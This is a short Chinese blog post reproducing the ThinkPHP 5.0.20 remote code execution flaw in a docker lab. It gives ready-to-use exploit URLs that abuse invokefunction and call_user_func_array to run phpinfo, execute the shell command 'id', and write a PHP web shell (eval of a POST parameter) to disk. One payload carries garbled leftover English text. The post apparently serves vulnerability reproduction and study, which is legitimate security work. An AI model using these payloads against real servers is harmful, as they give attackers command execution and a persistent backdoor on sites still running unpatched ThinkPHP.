ThinkPHP5 5.0.20 远程代码执行漏洞

漏洞简介

ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

漏洞复现

运行ThinkPHP 5.0.20版本:

docker-compose up -d

环境启动后,访问http://your-ip:8080即可看到ThinkPHP默认启动页面。

ThinkPHP5 5.0.20 远程代码执行漏洞

ThinkPHP5 5.0.20 远程代码执行漏洞
一.进行url拼接可看到phpinfo页面

http://127.0.0.1:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1`%20and%20it%27ll%20execute%20the%20phpinfo%EF%BC%9A

ThinkPHP5 5.0.20 远程代码执行漏洞

http://127.0.0.1:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=id

ThinkPHP5 5.0.20 远程代码执行漏洞

http://127.0.0.1:8080/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=%3C?php%20@eval($_POST[a]);?%3E

ThinkPHP5 5.0.20 远程代码执行漏洞

上一篇:thinkphp6 + phpexcel 导入导出数据,设置特殊表格


下一篇:NSSCTF dalabengba(thinkphp)